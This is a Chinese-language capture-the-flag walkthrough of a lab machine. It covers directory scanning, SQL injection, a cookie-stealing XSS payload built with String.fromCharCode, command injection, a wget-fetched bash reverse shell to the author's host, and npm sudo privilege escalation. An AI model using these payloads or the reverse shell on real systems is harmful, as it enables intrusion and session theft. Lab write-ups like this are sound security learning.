Target IP:10.10.10.25
信息搜集
信息搜集过程中遇到了一点小小的麻烦
例行nmap扫描,发现22
、8000
端口开放
8000
端口是一个网页,里面啥也没有,所以决定对目录进行扫描
gobuster什么都没扫到,一时觉得自己很失败,信息搜集步骤都卡住没法继续下去了。
在经历了nmap全端口重新扫描、gobuster换大型字典等尝试后,换了一个扫描器进行扫描,成功扫描到了
admin
,login
等目录想了想原因,
gobuster
的字典完全可以扫描到dirsearch
的扫描结果的,那就只能让gobuster
的UA背锅了,默认UA是gobuster/3.0.1
而不是普通的浏览器UA
,以后扫描的时候这方面也要考虑进去User
访问login
页面,只有一个登录框,什么其他信息都没
感觉挺莫名其妙的,这就是hard难度的形式嘛
登录的逻辑很真实,分开判断用户名和密码,这就会涉及到2种不同的攻击
1. 用户名暴力猜解
2. SQL注入
一顿SQL注入尝试后,发现输入用户名a"or"1"="1
后,会自动填充用户名RickA
,猜测是SQL语句回显,直接给返回回来了
本来提起的盲注大刀放了下了,准备利用联合查询一探究竟。
一顿FUZZ之后成功注入
最终拿到RickA
的密码fdc8cd4cff2c19e0d1022e78481ddf36
解密得
登录网站后,找到了添加note的功能,这个功能提示说需要经过admin的许可,那么应该是需要利用XSS来反弹admin的cookie了。
逻辑实在是有点难找,非常非常奇怪的过滤方式
尝试了很多,猜测后台用了很奇怪的过滤方式,只能向html插入img标签和src属性,其他情况下都会进行转义
那么试图利用src属性进行XSS
这个过程中又发现所有的单引号会被移除,这样有些操作就没法使用了
最终还是找了找大佬们的思路..利用img标签闭合和fromCharCode进行转义来绕过单引号检查
首先构造本地js,用来执行反弹cookie操作
然后进行字符转义
最后上传payload
<img src=x/><script>eval(String.fromCharCode(payload));</script>>
拿到cookie
拿到cookie后,发现能够export一些数据库的内容下来,但是这些内容在SQL注入过程中就已经拿到了,没什么太多意义。随便FUZZ一下会发现
考虑会不会是有命令注入
成功命令注入
接下来考虑的就是如何拿到shell,因为命令注入点是有一定过滤的,还是要绕过一下这个过滤
最终我选择了利用wget来反弹shell,这其中还需要把ip转成10进制形式,老生常谈了
aaa内容为
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.49/9999 0>&1
本地开启python simplehttpserver后,远程
wget ip/aaa
bash aaa
本地监听端口,拿到shell
提权
sudo -l
后发现npm可以以管理员运行,利用npm提权